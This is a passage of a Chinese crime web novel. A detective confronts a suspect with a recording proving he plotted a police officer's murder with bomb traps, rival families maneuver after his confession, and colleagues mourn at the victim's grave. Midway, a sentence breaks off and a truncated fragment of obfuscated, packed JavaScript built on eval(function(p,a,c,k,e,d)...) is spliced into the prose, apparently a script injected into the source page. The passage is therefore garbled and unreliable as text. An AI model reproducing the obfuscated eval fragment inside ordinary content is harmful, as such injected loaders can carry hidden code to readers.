“嗬,还拒绝回答?好啊,”马永毅靠在审讯桌前,拿起手边的那只录音笔,“既然你拒绝回答,那我就帮你回答。” 言罢,马永毅将常月颜提供的那条录音给播放了出来,一时间,整间屋子里都响起了江文铭和李天明的声音—— “李天明,听说你再杀最后一个人就会去自首?” “没错,只有解决掉他,我才算真的给我爸报仇了。” 江文铭却不紧不慢地点了一根烟:“我记得,你还有个年迈的母亲吧?你自首了,她怎么办?” “我去找了池万笙,我落网之后,大家就会知道这个案子是因为池氏,到时候他会给我些赔偿金。” “只靠赔偿金?我知道池家都是什么样的人,他们能给你多少赔偿金?再说了,你母亲不是看不见吗,就算有了钱,她孤身一人该怎么生活,你想过吗?” 李天明立刻警惕起来:“你这是什么意思?” “我也不绕弯子了,最近城东分局有个叫林一然的,一直在查我的底。这样吧,你想办法把他解决了,我派人去照顾你母亲,寸步不离直到给她送终,怎么样?” “你让我去杀警察?”李天明有些不可置信。 “呵呵,你都杀了这么多人了,还会再怕杀一个警察吗?不过我也不强求,你想好了再回答我。” 良久,对面的人才试探着问了一句:“你真的会帮我照顾我妈?” “当然,我会请最好的护工去照顾你母亲的。” 等到所有内容播放完毕,马永毅又将录音笔放回到审讯桌上:“你让李天明提前在观海路废弃大楼,和电子工厂后面的宿舍楼楼顶都安放了爆炸/装置,然后拐走齐况,只等大家在营救队友时,踏进你们的陷阱。” “我没猜错的话,当时只要踏上宿舍楼顶的是林一然,李天明就会立刻引爆炸弹。而他出现在观海路废弃大楼那边时,即使他在爆炸中没有生命危险,可你早就派去埋伏的人,也会用别的办法让他再也回不去。” “而你们的作案工具,”马永毅说着,拿出一张堆满木头的照片,“就是这个,对吧。” 江文铭没说话,从那录音笔里的声音开始播放,他就一直低着头,身体止不住地跟着颤抖,想来他也没想到,警察那里为什么会有这种东西。 “江文铭。” 马永毅见他没反应,试探着叫了他一声。抬步走近后,他才听到江文铭一直小声地在嘴里重复着三个字—— “不是我,不是我,不是我……” “什么?” “不是我干的,真的不是我!” 江文铭低吼一声,旋即抬起头来,直视着对面的马永毅:“杀常斯的不是我,杀林一然的也不是我!我没动手,都是他们干的,是我身边的那几只狗,都是他们做的!” 马永毅半眯着眼,满脸不可置信地审视起眼前的江文铭,好半天他才反应过来,像江文铭这种人,大概是永远都不会看清自己的问题的。 “不知悔改。” 那边陆闻才看到一半儿,薛文霖就跑过来说江优夫妇已经到了武局的办公室,等到二人再赶过去时,只见早就坐在办公室里的三人脸色都不太好看。 “武局,”陆闻停在门口,稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说实话,就连武淇君也没能想到,陆闻竟敢毫不掩饰地说出这些,毕竟以江氏的地位和人脉,说不定哪天一句话的事儿,陆闻就会彻底滚蛋了。 江优刚开始有些没反应过来,想想上一次敢这么和自己说话的,还是他们江氏未起步的时候:“武局长,不得不说,你手底下的人还真是有魄力啊。” “这……江先生,他还年轻不懂事,还请不要和他计较。陆闻,和人家道个歉,后面的事暂且不提。” 陆闻没立刻答话,而是朝门口的薛文霖递了个眼神,等到后者给到回复之后,他才开口道:“不提不行啊武局,那边江文铭可都已经认罪了。” “你说什么?这不可能!”一直没开口的池青玉猛地站起,意识到自己有些失态后,她又缓缓坐了下去。 “陆队长,是吧?”江优扯动嘴角,勉强挤出一个笑容,“你说江文铭已经认罪,他认了什么罪,你们又有什么证据能证明他犯过罪?” “证据自然是有的,而且到时候我们会完整地送到检察院那边,就不劳两位费心了。”话音刚落,陆闻便抬眼看向江优,毫无畏惧之意。 江优没说话,可看向陆闻的眼神也逐渐变的冰冷,他的两只拇指有意无意地摩擦着,仿佛是在盘算什么要紧的事。 良久,竟没有一个人再主动说起话。 站在门口的薛文霖见屋内几人僵持不下,着急的差点儿要把自己的手指给抠破,没想到就在这时,他却听见走廊上有脚步声由远及近。 56. 渔翁得利 “不好意思,我来晚了。” 闻言,屋内几人同时朝门口看过去,只见来人一身西装革履,黑白相间的短发梳的一丝不苟,眉眼间倒和林一然相似。 不,准确来说,应该是林一然像他。 “林闫?!” 在看清来人是谁之后,江优有些坐不住了,他怎么就没想到呢,死的人是林一然,林闫怎么可能不来? 看来如今这局面,怕是要对江家不利了。 “林先生,您来了。”陆闻起身让了座,“这是我们局长,武淇君。” “局长您好,林一然之前在这里承蒙你们照顾。” 林闫微微弯身,和武淇君握了个手,两人客套一番后,才双双在江优和池青玉两人对面坐下。 林闫倒也不拐弯抹角,坐下后便直奔主题:“武局长,是这样的,我听说害我儿子的凶手找到了,所以特地过来看看。” “这,林先生,现在还不能确定人就是凶手,这审讯口供都还没有出来呢。” “是我失言,那请问武局长,还需要等多久?” “这个我们还不方便透露,”未等武淇君开口,陆闻便抢先回答道,“不过,侦查案件需要时间,多久不能确定,而且并不是作案人认罪了就行,后续也有很多工作要处理,这些事情我们都是需要保密的。” “是啊林先生,还有江先生和池女士,你们现在过来也不是个事儿啊。”武淇君摇摇头,语气中颇多无奈。 “既然如此,那我就先不打扰了。” 林闫站起身,终于将目光移到了江优的身上:“江先生,来之前我让我太太准备了上好的茶叶,想请你过去品尝一杯,不知道江先生愿不愿意光临寒舍?” 闻言,江优有些不自然地咳嗽了两声:“对不住啊林先生,我这今天还有点儿事,要不还是改天……” “还请江先生赏脸。” 江优本想再拒绝,可看到其他三人还在场,又怕自己反复推辞会落下话柄,于是只能应下:“那就打扰了。” 目送着几人的身影消失在走廊尽头,武淇君终于松了口气。 他看了一眼身旁的陆闻,如今这里只剩他们两人:“陆闻,现在事情还没个结果,你怎么把林闫也叫过来了?” “啊?”陆闻指了指自己,有些莫名其妙,“武局,我冤枉啊!” “不是你?”武淇君紧盯着陆闻的眼睛,果然除了理直气壮,绝无半点闪躲之意,“真不是你啊,那会是谁呢?” 闻言,就连陆闻也陷入了沉思。 池家老宅处,池万笙今天难得没有工作缠身,夕阳余晖下,他正坐在二楼书房的阳台,拿着剪刀修理桌上一盆玫瑰的花枝。 “池总。”有人站在门外轻叩门扉。 “进来。” 池万笙没抬头,只等那人在自己面前站定后,才缓缓开口道:“林闫去了吗?” “一听到消息马上就去了。可是池总,林闫去了,真的能镇住江优吗?” “当然。” 池万笙终于抬起头:“江家的生意虽然现在做的风生水起,可江优心里清楚的很,自己不过才几十年的奋斗,哪里比得上林家几代人的根基。” “再说,他儿子谋划杀了人家的儿子,本来就作贼心虚,想要后面还能在蓝海有一席之地,他哪有不退的道理。” “可死的人是林家唯一的儿子,林闫能那么轻易就让江优全身而退吗?” “全身而退?” 池万笙弯起嘴角冷哼一声,他放下剪刀,起身站在阳台的栏杆前,从这里看过去,是整个池家的前院。 “就怕他退无可退。” 天边最后一抹残阳隐去,好在还有几团晚霞愿意稍作停留,染红了地面、屋顶和玻璃窗。 “对了,汪志,”池万笙转过身,而后抬步走到书架前,从中拿起一本书随意地翻着,“既然已经拿到了击垮江家的重要证据,你也不用再跟在他们后面了,回来吧。” “是,池总。” 刑侦大队审讯室里,马永毅仔细将审讯笔录拿到江文铭的面前,而后递给他一支笔:“确认无误的话,就签字吧。” 江文铭只低着头,两只手紧握成拳,不住地抖动着:“我不要签,我不要签……” 他反复念叨着这几句话:“我不要,人不是我杀的,人不是我……” “江文铭。”马永毅将笔扔在了桌子上,“证据确凿,你以为只要自己没动手,就可以摆脱罪责吗?” “警察同志,”江文铭忽地抬起头,双手紧握像是想要抓住什么,“我求你们,让我见见我爸,他会有办法的,让我见见他吧!” “你爸暂时来不了了。” 没等马永毅回答,审讯室的门忽然被从外面打开,只见陆闻抬步走了进来:“不过他也刚走没多久,是被林闫请去喝茶了。” “林……闫?”像是听到了什么不得了的名字,江文铭脱了力,整个人瘫倒在了椅子上,“是啊,还有林闫。” 他当时就该想到的,百密一疏,上天最终还是不愿站在他这边啊。 就在案件宣布结案的第二天,常月颜独自来到城东分局,说是想和陆闻见上一面。 “陆警官,你好。”刑侦大队的接待室里,常月颜看着来人,朝他挤出一抹笑容。 “常小姐,又见面了,请坐吧。” 两人面对面坐下,见常月颜有些拘谨,陆闻首先开口问道:“这案子已经结了,不知道常小姐这次过来,是有什么其他要紧的事吗?” 常月颜点点头,而后在包里翻找出一样东西:“陆警官,这是高中时,林一然送给我的礼物。是一条项链,还挺贵重的,我一直没舍得戴,我想能不能请你,帮我转交给他的家人。” “既然是他送给你的礼物,他的父母应该也不会再收回去的。” “我知道。”常月颜朝陆闻笑了笑,捏着首饰盒的手指却不自觉地收紧了,“一然他是一个好人,可毕竟是因为我,才会发生这种事,我已经不能再留着他的东西了。” “常小姐……” “陆警官,拜托你了。” 陆闻没再说话,可对上常月颜那双不容拒绝的眼神后,只好点头答应:“好吧,我会替你转交的。” 闻言,常月颜把首饰盒送到陆闻的手里,似是释怀地笑了笑:“谢谢你。” “对了,”像是想到什么,常月颜抿了抿唇,斟酌着再次开口道,“陆警官,我还想请你帮个忙。能不能告诉我,林一然的墓在哪里?” 蓝海市的一座墓园里 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她的嘴唇动了动,似是有话还没说完。可最后,她也只是抬手摸了摸那墓碑,还有那墓碑上的字。 “陆警官,我先走了。” “多保重。” 不知走了多久,常月颜终于回过头,遥遥望了一眼他们所在的方向:“一然,这里还有一个人,会永远想着你的。” 再次看到林一然的墓碑时,陆闻的心里还是有些不是滋味。 做了这么些年的警察,他早就做好会有人因公牺牲的准备,可没想到当这天真的到来时,哪怕已经过了一年的时间,他还是没有办法完全接受。 “一然,我们也来看你了。” 陆闻的声音放的轻柔,他记得自己很少这样和林一然说话。似乎是察觉到陆闻的情绪波动,一旁的齐况小心地拍了拍他的肩。 “我没事。”陆闻朝他笑了笑,“我只是想起了以前,林一然刚进队的时候,我就没见过胆儿这么小的孩子,批了他不知多少次。” “可我知道,他有在很努力的去改变自己,这些我都看在眼里,他明明可以有更好的未来的。” 陆闻的声音越来越小,小到最后只有他自己能听见自己的声音。或许是不想后面的气氛变得太过糟糕,他很快又调整好了自己的情绪—— “真是的,不知道怎么了,最近总是能想到这些。时候不早了,我们也回去吧。” 齐况便点点头:“好。” 于是,陆闻和齐况两人在临走前,先是和林一然告了别:“一然,我们该走了。” “是啊一然,不过我们会常来看你的,记得要等着我们啊。” 说完,两人正要转身离开,谁知就在这时,周围忽有微风渐起,就像是林一然在回应着他们。 只这一瞬,又重归平静。 “对了,我妈听说苏乐准备订婚了,非要请她回家吃饭,我估计自己又得遭殃,不如你也去吧?” “去了和阿姨一起催你结婚吗?” “哎哎哎,”陆闻快步走到齐况前面,满脸不可思议地看了他一眼,“老齐,你怎么和他们一样了,这可不像你能说出来的话啊!” 齐况闻言便笑了:“是吗,那说明你还不够了解我。” “嘿呀,这句也不像。”